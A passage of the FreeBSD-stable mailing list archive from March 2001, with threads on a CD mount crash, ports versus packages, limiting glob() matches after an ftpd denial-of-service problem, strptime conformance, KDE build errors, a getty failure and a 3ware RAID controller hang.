E536837B718; Sat, 17 Mar 2001 20:18:38 -0800 (PST) (envelope-from bts@babbleon.org) Received: from babbleon.org ([66.26.250.181]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Sat, 17 Mar 2001 23:18:31 -0500 Message-ID: <3AB436F6.BCE2F7C1@babbleon.org> Date: Sat, 17 Mar 2001 23:17:59 -0500 From: The Babbler Organization: None to speak of X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Christopher Farley Cc: joup@bigfoot.com, freebsd-questions@freebsd.org, freebsd-stable@freebsd.org Subject: Re: newbie / bug reporting References: <20010316022526.A4683@northernbrewer.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just as a data point, I repeatedly made the mistake of trying to mount a data CD when I first got FreeBSD, and I never had it lock up or crash, just say "invalid parameter." I didn't find the message all that enlightening ("invalid file system" or something would be a big improvment), but that's beside the point, which is: This problem is not universal. Not to say it isn't serious, but it might be unresolved because not everybody is able to easily replicate it. > > joup@bigfoot.com (joup@bigfoot.com) wrote: > > > > > Hi, > > > > I'm running 4.2-RELEASE and it seems like I'm getting a bug similar to > > > > kern/21827: mount causes freebsd 4.1.1 to reboot > > referenced at: > > http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=1005923+1008384+/usr/local/www/db/text/2000/freebsd-bugs/20001008.freebsd-bugs > > > > which applies only to 4.1.1, not 4.2. It is still open, but it doesn't > > look like there's any mention of it with regards to 4.2. What should I > > do? > > I was able to reproduce this under 4.3-BETA. > > A hard reboot and 30 minutes with fsck is a rather painful penalty for > such an act. > > This PR is classified as 'open', which means that 'no sanity checking > has been performed'. This was discussed in -STABLE back in November, > however I don't think a patch was commited. > > -- > Christopher Farley > www.northernbrewer.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- "Brian, the man from babble-on" bts@babbleon.org Brian T. Schellenberger http://www.babbleon.org Support http://www.eff.org. Support decss defendents. Support http://www.programming-freedom.org. Boycott amazon.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20:27: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from norn.ca.eu.org (h24-64-231-25.cg.shawcable.net [24.64.231.25]) by hub.freebsd.org (Postfix) with ESMTP id AE5C337B71A for ; Sat, 17 Mar 2001 20:27:04 -0800 (PST) (envelope-from cpiazza@norn.ca.eu.org) Received: by norn.ca.eu.org (Postfix, from userid 1000) id F365814C; Sat, 17 Mar 2001 21:26:50 -0700 (MST) Date: Sat, 17 Mar 2001 21:26:50 -0700 From: Chris Piazza To: Dinesh Nair Cc: Kris Kennaway , Eric M Logan , "freebsd-stable@FreeBSD.ORG" Subject: Re: ports vs. packages... Message-ID: <20010317212650.B57776@norn.ca.eu.org> References: <20010317125349.E22316@mollari.cthul.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Mutt/1.2.5i-jp2 In-Reply-To: ; from dinesh@alphaque.com on Sun, Mar 18, 2001 at 05:06:29AM +0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Mar 18, 2001 at 05:06:29AM +0800, Dinesh Nair wrote: > > On Sat, 17 Mar 2001, Kris Kennaway wrote: > > > There are three main benefits I can think of: > > the fourth, for me is > > * pulling down the gzipped sources off a 56k dialup is a lot faster > than pulling down binary packages off a web/ftp site if a cdrom is > not available for some reason or another. Uhh.. not always. For example, mozilla: -rw-rw-r-- 1 569 207 12903219 Mar 11 17:07 mozilla-0.8_1,1.tgz -rw-r--r-- 1 569 207 23224401 Feb 19 19:23 mozilla-source-0.8.tar.bz2 Okay, but that might be unusual, right? Here's a random one that I used: gqview tarball: -rw-r--r-- 1 569 207 361644 Sep 11 2000 gqview-0.9.1.tar.gz package: -rw-rw-r-- 1 569 207 221155 Mar 11 22:10 gqview-0.9.1.tgz Do you have any examples of the package being significantly larger than the tarball? -Chris -- Chris Piazza (yawn...) Calgary, AB, Canada cpiazza@jaxon.net -or- cpiazza@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20:32:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id 01A1E37B71A for ; Sat, 17 Mar 2001 20:32:52 -0800 (PST) (envelope-from jlemon@flugsvamp.com) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id f2I4TIa17793; Sat, 17 Mar 2001 22:29:18 -0600 (CST) (envelope-from jlemon) Date: Sat, 17 Mar 2001 22:29:18 -0600 From: Jonathan Lemon To: Matt Dillon Cc: Jonathan Lemon , stable@freebsd.org Subject: Re: Not only ftpd's problem with ls */../*..... Message-ID: <20010317222918.B82645@prism.flugsvamp.com> References: <200103172253.f2HMrZ008412@prism.flugsvamp.com> <200103180027.f2I0RSn96769@earth.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200103180027.f2I0RSn96769@earth.backplane.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Mar 17, 2001 at 04:27:28PM -0800, Matt Dillon wrote: > :Yes, I'm considering the following: > : > : gl_flags |= GLOB_MAXFILES > : gl_match = filemax > : > :Since gl_match is only used as an input parameter at the moment. > :Another approach is to limit the number of bytes returned to ARG_MAX, > :but I somewhat dislike that; it makes more sense to me to specify the > :number of paths instead. > :-- > :Jonathan > > Hmm. Well, I like the idea of adding a flag to glob_t->flags but I > would prefer not to add another element to the glob_t structure > that would make it incompatible with existing programs. Remember the > mess changing FILE caused. Whups, the above was a typo, it should have been "gl_matchc". If you check the code, you will find that this field is already there, and used only as an output parameter. (Bah, I must have been really tired when I wrote the original paragraph, that's two mistakes). This means that there will be no backwards compatability problems and we don't have to change the structure size. > How about a combination of glob_t->flags and a global limit that can > be set with a new api call, setgloblimit()? Or perhaps even just > have the setgloblimit() API call and don't even bother with a new flag. I would think a better idea is to have the system default to a hard limit, and then allow those programs that know better to override it. This way, we catch most naive uses of glob, while allowing those users who actually want to iterate over more paths to continue. You'll also note that the glob interface explicitly allows continuing from a previous match (which is what gl_pathc is for), so this fits in nicely. The only additional change I can think of is to add a new error return to explicitly alert the user that the match limit was hit. Doing it this way also negates the need for a setgloblimit. > Remember when csh had an arbitrarily limit on command line length? > Things like 'foreach i ( `find . -type f` )' would fail arbitrarily. > Tcsh fixed that problem. Whatever we do, we do not want to reintroduce > this same sort of problem in other programs (whether shells do their own > globing or not). FYI, it seems that csh (and tcsh) use their own copy of glob, for reasons having to do with memory allocation. This copy will be getting a limit of ARG_MAX, from the last email that I've seen from Christos. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20:33: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3]) by hub.freebsd.org (Postfix) with ESMTP id 8E6E737B719 for ; Sat, 17 Mar 2001 20:32:58 -0800 (PST) (envelope-from eischen@vigrid.com) Received: (from eischen@localhost) by pcnet1.pcnet.com (8.8.7/PCNet) id XAA04574; Sat, 17 Mar 2001 23:32:25 -0500 (EST) Date: Sat, 17 Mar 2001 23:32:25 -0500 (EST) From: Daniel Eischen To: David Reid Cc: freebsd-stable@FreeBSD.ORG Subject: Re: pthread_setschedparam In-Reply-To: <009d01c0af4a$ae37d830$011aa8c0@godzilla> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Mar 2001, David Reid wrote: > Does this actually work in the current code? I'm not sure what you mean by "current code", but it is suppose to work in both -current and -stable. Have a look at src/lib/libc_r/test/mutex_d.c; it uses SCHED_FIFO and SCHED_RR. -- Dan Eischen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 20:51:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from johncoop.MSHOME (dsl-154.bmi.net [207.173.60.230]) by hub.freebsd.org (Postfix) with ESMTP id 9CB8637B719 for ; Sat, 17 Mar 2001 20:51:30 -0800 (PST) (envelope-from jmcoopr@webmail.bmi.net) Received: from webmail.bmi.net (localhost [127.0.0.1]) by johncoop.MSHOME (8.11.3/8.11.3) with ESMTP id f2I4pXF04251 for ; Sat, 17 Mar 2001 20:51:34 -0800 (PST) (envelope-from jmcoopr@webmail.bmi.net) Message-ID: <3AB43ED0.6A059B02@webmail.bmi.net> Date: Sat, 17 Mar 2001 20:51:28 -0800 From: John Merryweather Cooper X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: FreeBSD-STABLE Mailing List Subject: [Fwd: KDE2.1 + Pthread errors] Content-Type: multipart/mixed; boundary="------------1A72D5CA49573FCA638D9C1F" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------1A72D5CA49573FCA638D9C1F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------1A72D5CA49573FCA638D9C1F Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Mozilla-Status2: 00000000 Message-ID: <3AB43E6A.8FD172C5@webmail.bmi.net> Date: Sat, 17 Mar 2001 20:49:46 -0800 From: John Merryweather Cooper X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: sudz@ns3g.com Subject: Re: KDE2.1 + Pthread errors References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Colin Legendre wrote: > Part 1.1 Type: Plain Text (text/plain) > Encoding: 7bit I have also received almost identical erros in builds of the following KDE ports: kdemultimedia-2.1 kdepim-2.1 kdesdk-2.1 kdestudio-2.0.0 kdegames-2.1 kdegraphics-2.1 kdeutils-2.1 kdenetwork-2.1 kdeadmin-2.1 kde-2.1 (chokes in kdegames-2.1) kdetoys-2.1 jmc --------------1A72D5CA49573FCA638D9C1F-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 21:10:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from femail9.sdc1.sfba.home.com (femail9.sdc1.sfba.home.com [24.0.95.89]) by hub.freebsd.org (Postfix) with ESMTP id B343F37B719 for ; Sat, 17 Mar 2001 21:10:32 -0800 (PST) (envelope-from graywane@home.com) Received: from cg392862-a.adubn1.nj.home.com ([65.2.79.221]) by femail9.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20010318051032.OQGB22629.femail9.sdc1.sfba.home.com@cg392862-a.adubn1.nj.home.com>; Sat, 17 Mar 2001 21:10:32 -0800 Received: (from graywane@localhost) by cg392862-a.adubn1.nj.home.com (8.11.3/8.11.2) id f2I5AUd18122; Sun, 18 Mar 2001 00:10:30 -0500 (EST) (envelope-from graywane) Date: Sun, 18 Mar 2001 00:10:29 -0500 From: Graywane To: John Merryweather Cooper Cc: FreeBSD-STABLE Mailing List Subject: Re: [Fwd: KDE2.1 + Pthread errors] Message-ID: <20010318001029.A7142@home.com> References: <3AB43ED0.6A059B02@webmail.bmi.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="VS++wcV0S1rZb1Fb" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3AB43ED0.6A059B02@webmail.bmi.net>; from jmcoopr@webmail.bmi.net on Sat, Mar 17, 2001 at 08:51:28PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, Mar 17, 2001 at 08:51:28PM -0800, John Merryweather Cooper wrote: > I have also received almost identical erros in builds of the following > KDE ports: A while back after a buildworld on 4.2-STABLE, nothing pthread related would compile. I cvsup'd sources and did another buildworld two days later and the problem went away. *shrug* --VS++wcV0S1rZb1Fb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjq0Q0UACgkQeHdFaBWUGN3u7gCgj6WVf2KAIBUXuvG5HUWP90+/ vkEAoJ77AFBLOcyOloZAgbl/LTQUnH/i =4JE8 -----END PGP SIGNATURE----- --VS++wcV0S1rZb1Fb-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 21:19:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from updraft.jp.freebsd.org (updraft.jp.FreeBSD.ORG [210.157.158.42]) by hub.freebsd.org (Postfix) with ESMTP id E0F1C37B719; Sat, 17 Mar 2001 21:19:29 -0800 (PST) (envelope-from matusita@jp.FreeBSD.org) Received: from localhost (localhost [127.0.0.1]) by updraft.jp.freebsd.org (8.11.3+3.4W/8.11.3) with ESMTP/inet id f2I5JOW79977; Sun, 18 Mar 2001 14:19:25 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: ache@freebsd.org, kjm@rins.ryukoku.ac.jp X-Face: '*aj"d@ijeQ:/X}]oM5c5Uz{ZZZk90WPt>a^y4$cGQp8:!H\W=hSM;PuNiidkc]/%,;6VGu e+`&APmz|P;F~OL/QK%;P2vU>\j4X.8@i%j6[%DTs_3J,Fff0)*oHg$A.cDm&jc#pD24WK@{,"Ef!0 P\):.2}8jo-BiZ?X&t$V X-User-Agent: Mew/1.94.2 XEmacs/21.2 (Poseidon) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 82 From: Makoto MATSUSHITA To: current@freebsd.org, stable@freebsd.org Subject: Our strptime(3) doesn't conform to other standards/implementations Date: Sun, 18 Mar 2001 14:19:13 +0900 Message-Id: <20010318141913L.matusita@jp.FreeBSD.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Summary: Our strptime(3) format string '%A' does not conform to Single UNIX Specification v2, Solaris2, NetBSD, and maybe other implementation. This comes from the changes of src/lib/libc/stdtime/strptime.c rev 1.13, which is commited by ache. Backout this changes (and apply to 4-stable) should fix the problem, but we also modify the manapage of strptime(3) which isn't also conform to other spec/implementation. *** Our strptime(3) implementation distinguishs '%A' and '%a', just like strftime(3) does. However, the Single UNIX Specification v2 doesn't say that '%A' and '%a' is different. is a spec of strptime(3) of SUSv2. It says: %a is the day of week, using the locale's weekday names; either the abbreviated or full name may be specified. %A is the same as %a. Note that strftime(3) specification says that '%'a and '%A' is different. says: %a is replaced by the locale's abbreviated weekday name. %A is replaced by the locale's full weekday name. You can easily check that strptime(3) implementation of Solaris2 and NetBSD are conformed to this standard. FreeBSD's implementation is different from others. I've asked via IRC, and told from eivind that this is because the changes of src/lib/libc/stdtime/strptime.c rev 1.13 (by ache) causes this misimplementation. The commitlog apprantly say that he misunderstands that '%A' and '%a' is different operation. But we cannot beat him, since our strptime(3) manpage, says: The format string consists of zero or more conversion specifications and ordinary characters. All ordinary characters are matched exactly with the buffer, where white space in the format string will match any amount of white space in the buffer. All conversion specifications are identi- cal to those described in strftime(3). It's true in the viewpoint of 'the manual should describe its implementation', but completely wrong in the view point of SUSv2 specification and/or other implementations. NetBSD, the one of implementation of strptime(3), have a correct manpages of strptime(3): So.. there are two bugs in our strptime(3): - Our implementation of strptime(3) distingush '%A' and '%a'. We can fix this with backouting rev 1.13. It can be easily MFCed to 4-stable. - Our manpage of strptime(3) says its format string is the same of strftime(3). We can fix strptime(3) manpage, importing most of description from strftime(3) and modify it. We can also refer NetBSD's manpage to how to describe strptime(3). *** Acknowledgement: This problem is first reported to japanaese list, by Kojima-san (this is why I cc:-ed to him). We also says that without this GNU wget does misunderstands Date: format defined by RFC850. If you wanna check what he says first (and understand japanese), check . Kojima-san, can I describe all your problems? -- - Makoto `MAR' MATSUSHITA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 21:32:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from entropy.inserted.net (async2-win-isp-1.nas.one.net.au [61.12.142.3]) by hub.freebsd.org (Postfix) with SMTP id 48F8E37B718 for ; Sat, 17 Mar 2001 21:32:40 -0800 (PST) (envelope-from steve@inserted.net) Received: (qmail 20267 invoked from network); 18 Mar 2001 05:22:02 -0000 Received: from fortune.inserted.net (192.168.0.2) by entropy.inserted.net with SMTP; 18 Mar 2001 05:22:02 -0000 Message-Id: <5.0.2.1.2.20010318160334.02287160@entropy.inserted.net> X-Sender: steve@inserted.net@entropy.inserted.net X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Sun, 18 Mar 2001 16:21:17 +1100 To: freebsd-stable@FreeBSD.ORG From: Stephen Ware Subject: Problems with getty after make world Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG G'day again, I've just upgraded from a 4.0-release system, and after rebooting I get this error message: init: can't exec getty 'usr/libexec/getty' for port /dev/ttyv0' No such file or directory This is repeated all the way through to ttyv7. I've tried to install world again, run MAKEDEV, and rebuild getty but this hasn't seemed to help. After searching the mailing lists and google, there was a few other posts about this, but I couldn't find any replies that would help me with the situation. All files listed in getty(8) exist and seem to be fine. I'm not looking forward to rebuilding the world since this is a low machine and took me about 7 hours to build, so if anyone has a fix for this, it would be much appreciated. Regards, Stephen Ware steve@inserted.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 21:43:57 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id E951337B718 for ; Sat, 17 Mar 2001 21:43:54 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2I5hb398084; Sat, 17 Mar 2001 21:43:37 -0800 (PST) (envelope-from dillon) Date: Sat, 17 Mar 2001 21:43:37 -0800 (PST) From: Matt Dillon Message-Id: <200103180543.f2I5hb398084@earth.backplane.com> To: Jonathan Lemon Cc: stable@freebsd.org Subject: Re: Not only ftpd's problem with ls */../*..... References: <200103172253.f2HMrZ008412@prism.flugsvamp.com> <200103180027.f2I0RSn96769@earth.backplane.com> <20010317222918.B82645@prism.flugsvamp.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> be set with a new api call, setgloblimit()? Or perhaps even just :> have the setgloblimit() API call and don't even bother with a new flag. : :I would think a better idea is to have the system default to a hard :limit, and then allow those programs that know better to override it. :This way, we catch most naive uses of glob, while allowing those users :who actually want to iterate over more paths to continue. You'll also :note that the glob interface explicitly allows continuing from a previous :match (which is what gl_pathc is for), so this fits in nicely. The :only additional change I can think of is to add a new error return to :explicitly alert the user that the match limit was hit. : :Doing it this way also negates the need for a setgloblimit. Imposing a limit by default is no better then having the hard limit as a default in the first place. The goal of this fix should be to be as non-intrusive as possible. Having a hard limit by default is extremely intrusive. It would be almost as bad as putting a hard limit in, say, 'find'. You don't know *what* type of program will be using the interface. Just because someone can D.O.S. ftpd doesn't mean that you should suddenly impose an arbitrary limit on every single program that might use the interface. Nor would it be appropriate to impose an additional burden on the programmers using the interface to require them to explicitly turn off the hard limit if they don't want it... that is a terrible default API for something like glob! It immediately imposes the arbitrary limit on every single program using the interface... a limit that the programmers using the interface probably assume doesn't exist. It makes to try to protect programmers from themselves a little, but it doesn't make sense to pollute the functionality and scaleability of the default interfaces to reach that end. We shouldn't be trying to protect idiots from themselves... let them learn the hard way so the rest of us can use these APIs without having to go through loops with flags and options to make them act the way we want them to act. Imagine what would happen if, say, the shell imposed an arbitrary limit on backticked expansions. Oh, I forgot... csh *DID*. And it caused no end of trouble to people trying to use it to backtick find's and such. A lot of us wound up using tcsh long before it became in vogue precisely because tcsh fixed those idiotic limitations. Well, glob() is the same issue. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 21:59:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from xena.gsicomp.on.ca (cr677933-a.ktchnr1.on.wave.home.com [24.43.230.149]) by hub.freebsd.org (Postfix) with ESMTP id A1DDA37B718 for ; Sat, 17 Mar 2001 21:59:47 -0800 (PST) (envelope-from matt@gsicomp.on.ca) Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.9.3) with SMTP id f2I5vki80467; Sun, 18 Mar 2001 00:57:47 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <005d01c0af70$05d1fe20$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Josef Karthauser" , "Sean Chittenden" Cc: References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010316004820.C4241@tao.org.uk> Subject: Re: Perl 5.6 merged soon? Date: Sun, 18 Mar 2001 00:55:13 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Thu, Mar 15, 2001 at 12:12:01PM -0800, Sean Chittenden wrote: > > Cancelling out of perl5.6 builds while doing a package install > > in CPAN is getting a bit old... -sc > > > > We've got some code that Anton Berezin has been working on > to enhance CPAN interaction being committed to -current soon. > This will make CPAN installs play nice with the ports system. > If it works out then it will probably be MFC'd before the 5.6.0 > version is. For people who want to run perl 5.6.0 on -stable > now they should be able to get away with 'NOPERL=true' in > /etc/make.conf and installing 5.6.0 by hand. > > What would be nice is for someone to make a port of > perl5.6.0 for people who are running -stable. This should be > easier than rebuilding the make process for world :). Any > takers? > > Joe I've taken the existing perl5 port and hacked it sufficiently for perl560. Since perl560 will install into /usr/local, it is possible to run the two versions in concert. However, I'm sure there will exist situations where this will cause problems. pkg-descr makes it pretty clear that perl560 isn't to be used on production machines, for reasons we all know too well. I've got a tarball of the port skeleton at http://www.gsicomp.on.ca/oss/perl560.tar for anyone who wants to take a look. Please let me know of any problems (or enhancements) that it needs. [ I haven't looked at the -pthreads / -lc_r issue yet. ] Once it goes through the paces I'll make it into a PR and convince a committer to work their magic. Note: If you're planning on installing into something other than local, make sure that you specify a PREFIX that *doesn't* have 'perl' in it. If you do, the Configure/Makefile logic will assume that $PREFIX/lib is perl-specific (ie /opt/perl/lib) and won't add in the 'perl5' parts which we need (ie /usr/local/lib/perl5/) -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 22:35:32 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id C89A437B71A; Sat, 17 Mar 2001 22:35:26 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from localhost.meridian-enviro.com (kfarms.meridian-enviro.com [10.10.10.20]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2I6ZOQ65179; Sun, 18 Mar 2001 00:35:24 -0600 (CST) (envelope-from rand@meridian-enviro.com) Date: Sun, 18 Mar 2001 00:35:23 -0600 Message-ID: <87hf0r60us.wl@localhost.meridian-enviro.com> From: rand@meridian-enviro.com To: Mike Smith Cc: "Douglas K. Rand" , freebsd-stable@FreeBSD.ORG, Mike Tancsa , bryanh@meridian-enviro.com Subject: Re: 3ware problems In-Reply-To: <87itl768dp.wl@localhost.meridian-enviro.com> References: <3AB27EE5.7CCB1387@meridian-enviro.com> <200103180251.f2I2pEU04264@mass.dis.org> <87itl768dp.wl@localhost.meridian-enviro.com> User-Agent: Wanderlust/2.5.8 (Smooth) SEMI/1.14.3 (Ushinoya) FLIM/1.14.2 (Yagi-Nishiguchi) APEL/10.2 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) X-Face: $L%T~#'9fAQ])o]A][d7EH`V;"_;2K;TEPQB=v]rDf_2s% Here is a short perl script that along with MySQL 3.23.33 will Doug> hang our 3ware controller: Mike> [...] it's just passed 2.5M rows and still counting. Mike> Please find attached diffs to bring the driver up to my current Mike> working version. There's a couple of small races closed in this Mike> code which might have an effect on your problem (not sure about Mike> that, though), so I'd love to know if they help you. Doug> Just as soon as I watch the University of North Dakota win the Doug> WCHA in overtime I'll rebuild the kernel with your patch and run Doug> it again. :) Well, I just inserted just over 2 million rows and it hung again: twe0: status 57007320 twe0: current max twe0: free 0099 0100 twe0: ready 0000 0000 twe0: busy 0001 0100 twe0: complete 0000 0012 twe0: bioq 0000 0023 twe0: AEN queue head 1 tail 0 twed: total bio count in 1950330 out 1950329 And St. Cloud State beat the University of North Dakota in overtime to win the WCHA tournament. Sigh. I think I'll turn off softupdates and also run MySQL in a stock configuration, just to make sure it'll still break. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 22:38: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 09C6E37B718; Sat, 17 Mar 2001 22:38:01 -0800 (PST) (envelope-from ache@nagual.pp.ru) Received: (from ache@localhost) by nagual.pp.ru (8.11.3/8.11.3) id f2I6bq037429; Sun, 18 Mar 2001 09:37:52 +0300 (MSK) (envelope-from ache) Date: Sun, 18 Mar 2001 09:37:52 +0300 From: "Andrey A. Chernov" To: Makoto MATSUSHITA Cc: current@freebsd.org, stable@freebsd.org, kjm@rins.ryukoku.ac.jp Subject: Re: Our strptime(3) doesn't conform to other standards/implementations Message-ID: <20010318093752.A37335@nagual.pp.ru> References: <20010318141913L.matusita@jp.FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010318141913L.matusita@jp.FreeBSD.org>; from matusita@jp.FreeBSD.org on Sun, Mar 18, 2001 at 02:19:13PM +0900 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Mar 18, 2001 at 14:19:13 +0900, Makoto MATSUSHITA wrote: > Our strptime(3) implementation distinguishs '%A' and '%a', just like > strftime(3) does. However, the Single UNIX Specification v2 doesn't Upgrade your system. 'A' and 'a' are the same in -current strptime.c v1.22 and in -stable too. Large manpage part needs to be written, contributions welcome. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 22:50:11 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id BD7BD37B719 for ; Sat, 17 Mar 2001 22:50:08 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2I6qSU06228; Sat, 17 Mar 2001 22:52:28 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103180652.f2I6qSU06228@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: rand@meridian-enviro.com Cc: freebsd-stable@FreeBSD.ORG, Mike Tancsa , bryanh@meridian-enviro.com Subject: Re: 3ware problems In-reply-to: Your message of "Sun, 18 Mar 2001 00:35:23 CST." <87hf0r60us.wl@localhost.meridian-enviro.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 17 Mar 2001 22:52:27 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Well, I just inserted just over 2 million rows and it hung again: Ok; I'm only up to 7.5M rows. The fact that you got so far so quickly makes me wonder whether I'm doing something wrong. > I think I'll turn off softupdates and also run MySQL in a stock > configuration, just to make sure it'll still break. This is what I did: - Built a 4-disk RAID10 array and mounted it on /var/db/mysql - Installed 3.23.33 client and server - Changed 'fortune -l' to 'fortune -s' in your script - Created a test database with 'create database twe_test;' - Pointed the script at the database with 'test.pl | mysql -u root twe_test' If you have a better cookbook, I'm all 